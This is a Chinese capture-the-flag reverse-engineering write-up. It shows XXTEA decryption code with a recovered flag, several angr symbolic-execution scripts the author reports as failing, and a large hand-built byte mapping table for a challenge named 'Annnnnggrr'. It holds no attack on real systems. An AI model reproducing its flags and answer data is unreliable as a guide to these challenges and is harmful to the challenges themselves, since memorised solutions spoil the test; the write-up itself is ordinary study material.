0x82, 0x8A, 0xFA, 0x38, 0x80, 0x13, 0x50, 0xD7, 0x9D, 0x96,
0x40, 0x0E, 0x20, 0x91, 0x16, 0x4E, 0xAB, 0x29, 0x3A, 0x71,
0x3D, 0x39, 0xE5, 0x6C, 0x2E, 0x75, 0x9D, 0xB6, 0xE6, 0x88,
0x1A, 0x84, 0x59, 0xB4, 0x31, 0x6F}; uint32_t key[] ={0x19,0x19,0x8,0x10}; void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main() {
uint32_t *p = (uint32_t *)ida_chars; // 这里自动实现了小端序的转换
for (int i=0;i<9;i++)
{
printf("%0x,",p[i]);
}
btea(p, -9, key);
for(int i = 0; i < 36; i +=1 ) { printf("%c", ida_chars[i]);
}
}

flag{H0P3_U_L1k3_Th15_CUP_0f_TEa.}

Annnnnggrr

0x01 angr 思路分析

结合题目,考点应该是 angr 的使用。

(173条消息) CTF 逆向工具angr的学习笔记___lifanxin的博客-CSDN博客_ctf逆向工具

【angr_ctf】二进制分析工具angr使用与练习-Part I(基础篇) - 求索 (gentlecp.com)

#encoding=utf-8
import angr # 方式1,通过期望地址 和 避免地址 进行 angr 符号处理 proj = angr.Project(r"./Annnnnggrr",auto_load_libs=False) #载入程序
state = proj.factory.entry_state() #找入口点
simgr = proj.factory.simgr(state) #从入口点开始爆破
simgr.explore(find=0x140002498,avoid=0x140002491) #期望路径 和 避免的路径
print (simgr.found[0].posix.dump(0)) #打印正确输入 # 该脚本无法跑出,应该是下面所示的,通过使用cmova,0x140002491、0x140002498两个地址都有使用到,所以导致上述脚本无用
.text:0000000140002484 88 05 C1 31 00 00             mov     cs:byte_14000564B, al
.text:000000014000248A E8 93 0C 00 00 call memcmp
.text:000000014000248A
.text:000000014000248F 85 C0 test eax, eax
.text:0000000140002491 48 8D 15 F8 1D 00 00 lea rdx, aFailed ; "Failed."
.text:0000000140002498 48 8D 0D E1 1D 00 00 lea rcx, aSuccess ; "Success!"
.text:000000014000249F 48 0F 45 CA cmovnz rcx, rdx ; Format
.text:00000001400024A3 E8 78 EB FF FF call sub_140001020 # cmp %rsi, %rdi
# cmova %rdx, %rax 如果RDI寄存器中的值大于RSI寄存器中的值,则把RAX寄存器中的值替换为RDX寄存器中的值。
# 方式二
# 通过输出值进行期望设置,来符号运算 但是,速度太慢,能否跑出来不知道【尝试跑了30分钟左右,放弃】 import angr
pro = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False) init_state = pro.factory.entry_state()
simu = pro.factory.simgr(init_state) def success(state):
output = state.posix.dumps(1) # get output from stdout
return b"Success!" in output def abort(state):
output = state.posix.dumps(1) # get output from stdout
return b"Failed." in output simu.explore(find=success, avoid=abort)
if simu.found:
res = simu.found[0]
for i in range(3):
print(res.posix.dumps(i))
else:
print("No result!")
#encoding=utf-8
import angr
import claripy # 方式三,设置寄存器 eax, 但也没有用。原因未知, p = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False) init_addr = 0x140001103 # scanf的下一条指令地址
state = p.factory.blank_state(addr=init_addr) # 创建一个状态,并将该地址赋给它,也就是跳过输入,直接执行下一条指令,此处使用.blank_state()而不再是.entry_state() # 定义1个位向量,即1个输入
p1 = claripy.BVS('p1', 64*4) # 32位寄存器(符号向量)
# p2 = claripy.BVS('p2', 32)
# p3 = claripy.BVS('p3', 32) state.regs.eax = p1 # .regs.eax 访问eax这个寄存器
# state.regs.ebx = p2
# state.regs.edx = p3
sm = p.factory.simulation_manager(state) def good(state):
return b'Success!' in state.posix.dumps(1) def bad(state):
return b'Failed.' in state.posix.dumps(1) sm.explore(find=good, avoid=bad)
if sm.found:
find_state = sm.found[0]
flag1 = find_state.solver.eval(p1) # 将探索成功时的第一个输入赋给flag1,下面两个类似
# flag2 = find_state.solver.eval(p2)
# flag3 = find_state.solver.eval(p3)
# print('{:x} {:x} {:x}'.format(flag1, flag2, flag3))
print('{:x}'.format(flag1))

测试了好多,都没有用。但是题目显然就是考这个angr 符号求解,只能等Wp 看如何使用。

那还有其他解决方案吗?

0x02 其他解决方案

z3 or 爆破解决:

# z3发现解不出来,直接麻了!!!

# 后面尝试,直接爆破没居然无解

【整理数据花了很久,但没出结果,直接哭。这里原因未知,可能数据整理时有误,也可能其他】
【尝试爆破也无解,难道数据之间有相互运算,我没注意到???】

只能尝试最后一种方案了:利用程序,获取flag。【分析程序可以知道,各个位置上的,输入与输出有一一对应关系,依据线性关系,获取每个字符,每个位置对应的输出,ida 手动patch 出一一对应关系 的数据,然后根据密文映射出flag】

显然,这种方式很费时间【当然,如果能写交互脚本,patch data,又会简单很多】

下面是手动patch 出的映射关系表【不会写脚本,就勤能补拙吧】

# -*- coding: UTF-8 -*-

test = '!#$*+-0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}~\'&'

enc = [0x4F, 0x17, 0x0C, 0x56, 0xDB, 0x67, 0x5D, 0x67, 0x32, 0x2B,
0x36, 0x03, 0x02, 0xF3, 0xA1, 0xE4, 0xC7, 0x27, 0xC1, 0xB6,
0x4C, 0xD7, 0x59, 0xA1, 0x71, 0x52, 0x9A, 0xE2, 0x21, 0x96,
0x0C, 0xCA] test_ = [[0xEE, 0x62, 0xCC, 0x20, 0xE9, 0x5B, 0x39, 0x0B, 0x0C, 0x93,
0xF0, 0x21, 0xC2, 0x04, 0x2F, 0x27, 0x8D, 0xBD, 0x81, 0x81,
0x9A, 0xE1, 0x09, 0x56, 0x33, 0x5D, 0x9F, 0x5C, 0x61, 0x17,
0xC5, 0x9E],
[0x60, 0x4C, 0xF2, 0x02, 0xA3, 0x19, 0xC7, 0xF9, 0xFE, 0x15,
0xF2, 0x23, 0x64, 0x7A, 0x25, 0x79, 0x43, 0x67, 0x37, 0xDB,
0x8C, 0x5B, 0x7B, 0xA8, 0x9D, 0x47, 0xFD, 0xDE, 0xD3, 0x5D,
0xF7, 0x7C],
[0xB5, 0x1F, 0xC7, 0x17, 0xE4, 0xFA, 0xD8, 0xB8, 0x45, 0x72,
0xBB, 0x24, 0x75, 0x8D, 0xDC, 0x54, 0xD8, 0x3A, 0x62, 0x2E,
0x21, 0x78, 0x84, 0x51, 0xBC, 0x26, 0xEA, 0x6D, 0xD8, 0xAE,
0xD4, 0x27],
[0x33, 0xCD, 0x59, 0x55, 0x4A, 0x04, 0x5A, 0x4A, 0x8B, 0xF0,
0x69, 0x2A, 0x8B, 0x97, 0xD6, 0x4A, 0x2A, 0xC0, 0x0C, 0x74,
0x17, 0x96, 0x3A, 0xA7, 0xB2, 0xFC, 0x6C, 0xD3, 0xC6, 0x08,
0xFA, 0x51],
[0xA8, 0xC4, 0xCA, 0xFA, 0x2B, 0x11, 0x9F, 0x51, 0x96, 0xED,
0xBA, 0x2B, 0x5C, 0xC2, 0x1D, 0x31, 0xAB, 0xDF, 0x5F, 0x63,
0x64, 0xF3, 0x23, 0x30, 0xD5, 0xBF, 0x55, 0xA6, 0x4B, 0xE5,
0x0F, 0x94],
[0xCA, 0x96, 0x80, 0x8C, 0x25, 0xCF, 0x1D, 0x27, 0xE0, 0x8F,
0x54, 0x2D, 0x5E, 0xA8, 0xB3, 0xBB, 0x91, 0x89, 0x15, 0x1D,
0xD6, 0xFD, 0x35, 0xE2, 0x57, 0xE9, 0x5B, 0x10, 0x65, 0xE3,
0xD9, 0x7A],
[0xD1, 0xF3, 0x6B, 0x63, 0x50, 0x0E, 0xAC, 0x44, 0x59, 0xFE,
0xDF, 0x30, 0x61, 0xE1, 0xD0, 0x68, 0x4C, 0x16, 0xF6, 0xEA,
0x7D, 0x24, 0x10, 0x3D, 0xF0, 0x42, 0xB6, 0x61, 0xFC, 0x7A,
0xE8, 0x03],
[0xFE, 0xB2, 0xBC, 0xB0, 0x99, 0xAB, 0x89, 0x3B, 0xBC, 0x43,
0x00, 0x31, 0x32, 0xF4, 0x9F, 0xB7, 0xDD, 0x2D, 0xD1, 0x31,
0x2A, 0xF1, 0x59, 0xE6, 0xC3, 0x2D, 0x4F, 0x6C, 0x31, 0xC7,
0x95, 0xEE], # 1
[0xDB, 0x05, 0x91, 0x8D, 0x52, 0x5C, 0x32, 0x82, 0x63, 0x28,
0x31, 0x32, 0xE3, 0x1F, 0x4E, 0x22, 0xB2, 0x18, 0x54, 0x3C,
0x8F, 0xEE, 0x42, 0xEF, 0x4A, 0x74, 0x04, 0xDB, 0x5E, 0xD0,
0x12, 0xA9], # 2
[0x30, 0xDC, 0x62, 0xD2, 0x13, 0x29, 0x57, 0x69, 0xAE, 0x85,
0x02, 0x33, 0xD4, 0xEA, 0x15, 0x09, 0x93, 0x17, 0x47, 0x0B,
0x9C, 0x2B, 0x4B, 0x78, 0xAD, 0x17, 0xAD, 0xAE, 0x23, 0x4D,
0xC7, 0xCC],
[0x45, 0x6F, 0x77, 0x27, 0xD4, 0xCA, 0x28, 0x68, 0xB5, 0xE2,
0xCB, 0x34, 0x25, 0x7D, 0x4C, 0xA4, 0xA8, 0xAA, 0xB2, 0xDE,
0x71, 0x88, 0x14, 0xE1, 0x0C, 0x76, 0x5A, 0x3D, 0x68, 0x5E,
0xE4, 0xB7],
[0xD2, 0x8E, 0xF8, 0xA4, 0x8D, 0x27, 0xF5, 0x1F, 0x58, 0x07,
0xDC, 0x35, 0xD6, 0x90, 0x8B, 0x93, 0x59, 0x41, 0x5D, 0xC5,
0xAE, 0x15, 0xDD, 0x2A, 0x8F, 0x41, 0x53, 0x18, 0x7D, 0x0B,
0x51, 0xF2],
[0x1F, 0x11, 0xAD, 0xD1, 0x46, 0x28, 0xDE, 0x56, 0x2F, 0x7C,
0x0D, 0x36, 0x37, 0x3B, 0xCA, 0x1E, 0xFE, 0xDC, 0x40, 0xF0,
0xA3, 0x02, 0x36, 0xE3, 0x76, 0x28, 0xA8, 0x57, 0xDA, 0x24,
0xAE, 0x2D],
[0x04, 0x88, 0xAE, 0x26, 0x37, 0x85, 0xF3, 0x3D, 0x9A, 0x99,
0x0E, 0x37, 0xD8, 0x26, 0x91, 0x15, 0xDF, 0x0B, 0xB3, 0x3F,
0x20, 0xFF, 0x1F, 0x4C, 0xB9, 0x3B, 0x41, 0x7A, 0x0F, 0x61,
0x83, 0x50],
[0xD9, 0x2B, 0xE3, 0x9B, 0x18, 0x06, 0x44, 0xBC, 0x51, 0xD6,
0xC7, 0x38, 0x39, 0x09, 0xE8, 0xC0, 0xB4, 0x2E, 0x9E, 0x92,
0x15, 0xFC, 0x38, 0x45, 0xA8, 0x5A, 0xAE, 0xA9, 0xF4, 0xA2,
0x00, 0xFB],
[0xA6, 0x6A, 0xF4, 0x08, 0xE1, 0x83, 0xA1, 0xB3, 0x14, 0xFB,
0x08, 0x39, 0x4A, 0x3C, 0x57, 0xEF, 0xA5, 0x25, 0x79, 0xD9,
0x62, 0x69, 0x01, 0x8E, 0x7B, 0x45, 0x67, 0xD4, 0x69, 0xCF,
0x8D, 0xA6], # 9
[0xE1, 0x43, 0x9B, 0xF3, 0x80, 0xDE, 0x3C, 0x74, 0x09, 0x2E,
0xEF, 0x40, 0xD1, 0x11, 0x40, 0x78, 0x5C, 0xC6, 0xC6, 0x5A,
0x0D, 0xB4, 0x60, 0x0D, 0x00, 0x52, 0xE6, 0xF1, 0x0C, 0x2A,
0xB8, 0x93], # @
[0xCE, 0x82, 0x6C, 0x40, 0x09, 0xBB, 0x99, 0x6B, 0xEC, 0x73,
0x50, 0x41, 0xA2, 0xE4, 0x8F, 0xC7, 0xED, 0xDD, 0xE1, 0x61,
0x3A, 0x41, 0x69, 0x36, 0x53, 0xFD, 0xBF, 0xBC, 0xC1, 0xF7,
0xE5, 0xFE], # A
[0xEB, 0x15, 0x01, 0xDD, 0x02, 0xAC, 0x42, 0x32, 0x93, 0x58,
0xC1, 0x42, 0x13, 0x0F, 0x3E, 0xF2, 0x82, 0x88, 0x64, 0xEC,
0xDF, 0x7E, 0x52, 0x7F, 0x1A, 0x44, 0x34, 0x2B, 0x2E, 0x40,
0xA2, 0xB9],
[0xC0, 0xEC, 0x92, 0x22, 0xC3, 0x79, 0xA7, 0x59, 0xDE, 0xF5,
0xD2, 0x43, 0x44, 0xDA, 0x05, 0x19, 0xA3, 0x07, 0x17, 0x3B,
0x2C, 0x3B, 0xDB, 0x88, 0x3D, 0x67, 0x1D, 0xBE, 0xB3, 0x3D,
0x17, 0x5C],
[0x95, 0x3F, 0xE7, 0x37, 0x04, 0xDA, 0x38, 0x18, 0x25, 0x52,
0x1B, 0x44, 0x55, 0xED, 0x3C, 0xF4, 0xB8, 0x5A, 0xC2, 0x0E,
0xC1, 0x58, 0xE4, 0x31, 0xDC, 0x46, 0x8A, 0xCD, 0xB8, 0x8E,
0x74, 0x87],
[0xE2, 0x1E, 0x28, 0xF4, 0x3D, 0x77, 0x85, 0x8F, 0x88, 0xB7,
0x2C, 0x45, 0x86, 0x80, 0x7B, 0x63, 0xA9, 0xB1, 0xAD, 0xF5,
0x3E, 0x25, 0x6D, 0xFA, 0x9F, 0x51, 0x43, 0x28, 0xCD, 0x3B,
0x61, 0x82],
[0x6F, 0xA1, 0xDD, 0x21, 0xB6, 0xB8, 0xAE, 0xC6, 0xDF, 0xAC,
0x9D, 0x46, 0xE7, 0xEB, 0x7A, 0xEE, 0x4E, 0x4C, 0xD0, 0xA0,
0xF3, 0x92, 0x06, 0x33, 0x06, 0x78, 0x18, 0xE7, 0xEA, 0x94,
0xFE, 0xFD],
[0x94, 0xD8, 0x1E, 0x36, 0x67, 0x55, 0x03, 0xAD, 0x8A, 0xC9,
0x5E, 0x47, 0x08, 0xD6, 0x81, 0x25, 0xAF, 0xFB, 0x03, 0xEF,
0xF0, 0x0F, 0xEF, 0x1C, 0x89, 0x8B, 0x31, 0x8A, 0x1F, 0x11,
0x13, 0xE0],
[0x29, 0x3B, 0xD3, 0xEB, 0x08, 0xD6, 0x14, 0x6C, 0xC1, 0xC6,
0x57, 0x48, 0xA9, 0xB9, 0x18, 0xD0, 0xC4, 0xDE, 0x6E, 0x42,
0xA5, 0x4C, 0x08, 0x95, 0x38, 0x2A, 0x5E, 0xB9, 0x44, 0x92,
0x50, 0xCB],
[0xF6, 0x7A, 0x64, 0x98, 0x91, 0x53, 0x31, 0x23, 0x04, 0x2B,
0x18, 0x49, 0xFA, 0xAC, 0x87, 0x3F, 0xF5, 0x55, 0xC9, 0x49,
0x72, 0x79, 0xD1, 0x1E, 0x0B, 0x95, 0x97, 0xE4, 0xB9, 0x7F,
0xDD, 0x76], # I
[0x13, 0xED, 0x79, 0x75, 0xEA, 0xE4, 0x3A, 0x2A, 0x6B, 0xD0,
0x49, 0x4A, 0xEB, 0x77, 0xB6, 0x6A, 0x0A, 0x60, 0xEC, 0xD4,
0xB7, 0x76, 0x1A, 0x87, 0x52, 0x9C, 0x8C, 0x33, 0xA6, 0x68,
0x9A, 0x31],
[0x88, 0xE4, 0xEA, 0x9A, 0x4B, 0x71, 0xFF, 0x31, 0xF6, 0x4D,
0x9A, 0x4B, 0x3C, 0xA2, 0xFD, 0xD1, 0x8B, 0xFF, 0xBF, 0x43,
0x04, 0xD3, 0x83, 0x10, 0xF5, 0x5F, 0x75, 0x86, 0xAB, 0xC5,
0xAF, 0xF4],
[0x1D, 0xF7, 0x3F, 0x4F, 0x8C, 0xF2, 0xD0, 0x50, 0x7D, 0x2A,
0x83, 0x4C, 0xAD, 0x15, 0xF4, 0xAC, 0xC0, 0x32, 0x0A, 0x56,
0x19, 0xF0, 0x0C, 0xB9, 0x74, 0x9E, 0xC2, 0xF5, 0xF0, 0x36,
0x6C, 0x5F],
[0x2A, 0xB6, 0xA0, 0xAC, 0x45, 0x2F, 0xFD, 0x87, 0x40, 0xEF,
0xB4, 0x4D, 0xBE, 0x08, 0x93, 0x5B, 0xF1, 0x29, 0xF5, 0xFD,
0xF6, 0xDD, 0x15, 0xC2, 0x77, 0x09, 0xFB, 0xF0, 0x45, 0x43,
0xF9, 0x5A], # M
[0xD7, 0x19, 0x15, 0x39, 0x1E, 0x30, 0xA6, 0xDE, 0x17, 0x84,
0xA5, 0x4E, 0x3F, 0x13, 0x12, 0x86, 0xD6, 0x84, 0x98, 0x28,
0x6B, 0xEA, 0xEE, 0x9B, 0x7E, 0x70, 0xD0, 0xEF, 0x02, 0x1C,
0xD6, 0x35],
[0x7C, 0x50, 0x76, 0xCE, 0xCF, 0xAD, 0x7B, 0x45, 0x42, 0x61,
0x66, 0x4F, 0x80, 0xBE, 0xD9, 0xBD, 0x37, 0xB3, 0x2B, 0xD7,
0xC8, 0x87, 0xB7, 0xE4, 0x61, 0x03, 0x69, 0x52, 0x97, 0xF9,
0x4B, 0xF8],
[0x31, 0x13, 0x8B, 0x03, 0xF0, 0xEE, 0x8C, 0x24, 0xB9, 0xDE,
0xBF, 0x50, 0xC1, 0x41, 0x30, 0x08, 0x2C, 0xB6, 0x56, 0xCA,
0x9D, 0x04, 0xF0, 0x9D, 0x10, 0x62, 0xD6, 0x41, 0x5C, 0x5A,
0x08, 0x63],
[0x5E, 0x52, 0xDC, 0x50, 0xB9, 0x0B, 0x69, 0x1B, 0x9C, 0x23,
0xE0, 0x51, 0x12, 0xD4, 0xFF, 0xD7, 0x3D, 0x4D, 0xB1, 0x11,
0x4A, 0xD1, 0xB9, 0x46, 0x63, 0xCD, 0x6F, 0x4C, 0x91, 0x27,
0x35, 0x4E],
[0x3B, 0xA5, 0x31, 0xAD, 0x72, 0xBC, 0x12, 0x62, 0xC3, 0x88,
0x11, 0x52, 0x43, 0xFF, 0x2E, 0xC2, 0x92, 0xB8, 0x34, 0x1C,
0xAF, 0x4E, 0xA2, 0x4F, 0x6A, 0x94, 0x24, 0x3B, 0x3E, 0xB0,
0xB2, 0x09],
[0x10, 0xFC, 0x82, 0xF2, 0x33, 0x89, 0x37, 0xC9, 0x8E, 0x65,
0x62, 0x53, 0x34, 0xCA, 0xF5, 0xA9, 0x73, 0x37, 0xA7, 0xEB,
0x3C, 0x8B, 0xAB, 0x58, 0x4D, 0xB7, 0x4D, 0x8E, 0x83, 0xAD,
0x67, 0x2C],
[0x25, 0x8F, 0x17, 0xC7, 0xF4, 0xAA, 0x08, 0x48, 0x95, 0xC2,
0xAB, 0x54, 0x85, 0xDD, 0x2C, 0xC4, 0x08, 0xCA, 0x92, 0x3E,
0x11, 0x68, 0xF4, 0x41, 0x2C, 0x16, 0x7A, 0x9D, 0x48, 0xBE,
0x04, 0x97],
[0xB2, 0x2E, 0x18, 0x44, 0xAD, 0x87, 0x55, 0xFF, 0xB8, 0x67,
0x3C, 0x55, 0x36, 0x70, 0x6B, 0xB3, 0x39, 0x61, 0x3D, 0xA5,
0xCE, 0x75, 0xBD, 0x8A, 0xAF, 0x61, 0xF3, 0xF8, 0x5D, 0xEB,
0x71, 0xD2],
[0x7F, 0xB1, 0x4D, 0xF1, 0xE6, 0x88, 0x3E, 0xB6, 0x0F, 0xDC,
0xED, 0x56, 0x97, 0x1B, 0xAA, 0x3E, 0xDE, 0x7C, 0xA0, 0x50,
0x43, 0x62, 0x96, 0xC3, 0x16, 0x48, 0x48, 0xB7, 0xBA, 0x04,
0xCE, 0x8D],
[0x64, 0x28, 0x4E, 0xC6, 0xD7, 0x65, 0xD3, 0x9D, 0xFA, 0x79,
0xEE, 0x57, 0x38, 0x86, 0xF1, 0x35, 0x3F, 0xAB, 0x13, 0x1F,
0xC0, 0xDF, 0xFF, 0x2C, 0x59, 0xDB, 0xE1, 0xDA, 0xEF, 0x41,
0xA3, 0xB0],
[0x39, 0xCB, 0x03, 0x3B, 0x38, 0x66, 0x24, 0x9C, 0xB1, 0xB6,
0xA7, 0x58, 0x99, 0x69, 0x48, 0xE0, 0x94, 0x4E, 0xFE, 0xF2,
0xB5, 0x5C, 0x98, 0xA5, 0xC8, 0xFA, 0x4E, 0x89, 0xD4, 0x82,
0xA0, 0xDB],
[0x86, 0x0A, 0x94, 0x28, 0x01, 0xE3, 0x81, 0x93, 0x74, 0x5B,
0xE8, 0x59, 0x2A, 0x1C, 0x37, 0x8F, 0x05, 0x45, 0x59, 0xB9,
0x02, 0xC9, 0x61, 0xEE, 0x1B, 0xE5, 0x07, 0x34, 0xC9, 0xAF,
0x2D, 0x06],
[0x63, 0xBD, 0x69, 0x05, 0x1A, 0x74, 0xCA, 0xDA, 0x1B, 0x00,
0x99, 0x5A, 0x9B, 0xA7, 0xE6, 0xBA, 0x5A, 0xD0, 0xFC, 0x44,
0xC7, 0x46, 0xEA, 0x97, 0x22, 0xAC, 0x7C, 0x03, 0xF6, 0x98,
0x6A, 0x01], # Z
[0x8C, 0xE0, 0x26, 0xDE, 0xFF, 0xFD, 0x8B, 0x35, 0x32, 0x11,
0x36, 0x5F, 0x30, 0xEE, 0xC9, 0x4D, 0xC7, 0xE3, 0x7B, 0x87,
0x18, 0xD7, 0xC7, 0xF4, 0x71, 0x53, 0x19, 0xE2, 0xE7, 0x69,
0x9B, 0xC8],
[0xAE, 0xA2, 0x0C, 0xE0, 0xA9, 0x9B, 0x79, 0x4B, 0xCC, 0x53,
0xB0, 0x61, 0x02, 0x44, 0x6F, 0x67, 0xCD, 0x7D, 0xC1, 0x41,
0x5A, 0xA1, 0x49, 0x16, 0xF3, 0x1D, 0xDF, 0x9C, 0x21, 0xD7,
0x05, 0xDE], # a
[0xCB, 0xB5, 0xA1, 0xFD, 0xA2, 0x0C, 0x22, 0x92, 0xF3, 0xB8,
0xA1, 0x62, 0xF3, 0xEF, 0x9E, 0x92, 0xE2, 0xA8, 0xC4, 0x4C,
0x7F, 0xDE, 0xB2, 0x5F, 0xBA, 0x64, 0x54, 0x8B, 0x8E, 0xA0,
0x42, 0x99],
[0x20, 0x8C, 0x32, 0xC2, 0x63, 0x59, 0x07, 0x39, 0xBE, 0xD5,
0xB2, 0x63, 0xA4, 0xBA, 0x65, 0xB9, 0x83, 0x27, 0x77, 0x9B,
0x4C, 0x1B, 0xBB, 0x68, 0x5D, 0x07, 0x3D, 0x1E, 0x93, 0x1D,
0x37, 0xBC],
[0x75, 0x5F, 0x07, 0xD7, 0xA4, 0x3A, 0x18, 0xF8, 0x05, 0x32,
0x7B, 0x64, 0xB5, 0xCD, 0x1C, 0x94, 0x18, 0xFA, 0xA2, 0xEE,
0xE1, 0x38, 0xC4, 0x11, 0x7C, 0xE6, 0x2A, 0xAD, 0x98, 0x6E,
0x14, 0x67],
[0xC2, 0xBE, 0x48, 0x94, 0xDD, 0xD7, 0xE5, 0x6F, 0xE8, 0x97,
0x0C, 0x65, 0xE6, 0xE0, 0xDB, 0x83, 0x09, 0x51, 0x8D, 0x55,
0x5E, 0x05, 0xCD, 0x5A, 0xBF, 0x71, 0xE3, 0x08, 0x2D, 0x9B,
0x01, 0xE2],
[0x4F, 0x41, 0x7D, 0xC1, 0xD6, 0x98, 0x0E, 0xA6, 0xBF, 0x0C,
0x7D, 0x66, 0xC7, 0xCB, 0xDA, 0x8E, 0x2E, 0xEC, 0x30, 0x80,
0x93, 0xF2, 0xE6, 0x13, 0xA6, 0x18, 0xB8, 0xC7, 0x4A, 0x74,
0x9E, 0xDD],
[0xF4, 0xF8, 0x3E, 0x56, 0x87, 0x35, 0x63, 0x0D, 0xEA, 0xA9,
0x3E, 0x67, 0xE8, 0xB6, 0xE1, 0x45, 0x0F, 0x9B, 0xE3, 0xCF,
0x90, 0xEF, 0xCF, 0x7C, 0x29, 0xAB, 0x51, 0xEA, 0xFF, 0x71,
0xB3, 0x40],
[0x89, 0xDB, 0x73, 0x0B, 0x28, 0x36, 0x74, 0xCC, 0x21, 0xA6,
0xB7, 0x68, 0x09, 0x19, 0xF8, 0x70, 0xA4, 0xFE, 0xCE, 0x22,
0x45, 0x2C, 0x68, 0xF5, 0x58, 0xCA, 0xFE, 0x99, 0xA4, 0xF2,
0xF0, 0x2B],
[0x56, 0x9A, 0x04, 0xB8, 0x31, 0x33, 0x11, 0x03, 0xE4, 0x8B,
0x78, 0x69, 0xDA, 0x0C, 0x67, 0xDF, 0x55, 0x75, 0xA9, 0xA9,
0x12, 0xD9, 0x31, 0xFE, 0xAB, 0xB5, 0x37, 0xC4, 0x99, 0x5F,
0xFD, 0x56],
[0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
0x3A, 0x91],
[0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
0x3A, 0x91],
[0x7D, 0x17, 0x5F, 0xEF, 0xAC, 0xD2, 0xB0, 0x30, 0xDD, 0x0A,
0xE3, 0x6C, 0x0D, 0x75, 0xD4, 0xCC, 0xA0, 0x52, 0xEA, 0xB6,
0xB9, 0xD0, 0x6C, 0x99, 0x14, 0x3E, 0x62, 0xD5, 0x50, 0x96,
0x0C, 0xBF],
[0x8A, 0xD6, 0xC0, 0x4C, 0xE5, 0x0F, 0x5D, 0x67, 0xA0, 0x4F,
0x14, 0x6D, 0x9E, 0xE8, 0xF3, 0xFB, 0xD1, 0x49, 0x55, 0xDD,
0x96, 0xBD, 0x75, 0xA2, 0x17, 0xA9, 0x9B, 0x50, 0x25, 0xA3,
0x19, 0xBA],
[0x37, 0xB9, 0xB5, 0xD9, 0xBE, 0x90, 0x06, 0x3E, 0x77, 0xE4,
0x85, 0x6E, 0x9F, 0xF3, 0xF2, 0xA6, 0x36, 0x24, 0xF8, 0x88,
0x0B, 0x4A, 0xCE, 0x7B, 0x9E, 0x10, 0x70, 0x4F, 0xE2, 0xFC,
0xF6, 0x15],
[0xDC, 0x70, 0x96, 0x6E, 0xEF, 0x8D, 0xDB, 0x25, 0x22, 0x41,
0xC6, 0x6F, 0xE0, 0x1E, 0xB9, 0xDD, 0x97, 0x53, 0x0B, 0xB7,
0xE8, 0xE7, 0x97, 0xC4, 0x01, 0x23, 0x09, 0x32, 0x77, 0x59,
0x6B, 0x58],
[0x91, 0x33, 0xAB, 0x23, 0x10, 0x4E, 0xEC, 0x84, 0x19, 0xBE,
0x9F, 0x70, 0xA1, 0x21, 0x10, 0xA8, 0x8C, 0xD6, 0x36, 0xAA,
0x3D, 0xE4, 0x50, 0xFD, 0xB0, 0x02, 0xF6, 0xA1, 0xBC, 0x3A,
0x28, 0x43],
[0xBE, 0xF2, 0xFC, 0x70, 0x59, 0xEB, 0xC9, 0x7B, 0x7C, 0x03,
0xC0, 0x71, 0x72, 0x34, 0xDF, 0xF7, 0x1D, 0xED, 0x11, 0xF1,
0xEA, 0xB1, 0x99, 0xA6, 0x83, 0xED, 0x8F, 0xAC, 0xF1, 0x87,
0xD5, 0x2E],
[0x9B, 0x45, 0xD1, 0x4D, 0x12, 0x9C, 0x72, 0xC2, 0x23, 0xE8,
0xF1, 0x72, 0x23, 0x5F, 0x8E, 0x62, 0xF2, 0xD8, 0x94, 0xFC,
0x4F, 0xAE, 0x82, 0xAF, 0x0A, 0x34, 0x44, 0x1B, 0x1E, 0x90,
0x52, 0xE9],
[0xF0, 0x1C, 0xA2, 0x92, 0xD3, 0x69, 0x97, 0xA9, 0x6E, 0x45,
0xC2, 0x73, 0x14, 0x2A, 0x55, 0x49, 0xD3, 0xD7, 0x87, 0xCB,
0x5C, 0xEB, 0x8B, 0x38, 0x6D, 0xD7, 0xED, 0xEE, 0xE3, 0x0D,
0x07, 0x0C],
[0x05, 0xAF, 0xB7, 0xE7, 0x94, 0x0A, 0x68, 0xA8, 0x75, 0xA2,
0x8B, 0x74, 0x65, 0xBD, 0x8C, 0xE4, 0xE8, 0x6A, 0xF2, 0x9E,
0x31, 0x48, 0x54, 0xA1, 0xCC, 0x36, 0x9A, 0x7D, 0x28, 0x1E,
0x24, 0xF7],
[0x92, 0xCE, 0x38, 0x64, 0x4D, 0x67, 0x35, 0x5F, 0x18, 0xC7,
0x9C, 0x75, 0x16, 0xD0, 0xCB, 0xD3, 0x99, 0x01, 0x9D, 0x85,
0x6E, 0xD5, 0x1D, 0xEA, 0x4F, 0x01, 0x93, 0x58, 0x3D, 0xCB,
0x91, 0x32],
[0xDF, 0x51, 0xED, 0x91, 0x06, 0x68, 0x1E, 0x96, 0xEF, 0x3C,
0xCD, 0x76, 0x77, 0x7B, 0x0A, 0x5E, 0x3E, 0x9C, 0x80, 0xB0,
0x63, 0xC2, 0x76, 0xA3, 0x36, 0xE8, 0xE8, 0x97, 0x9A, 0xE4,
0xEE, 0x6D],
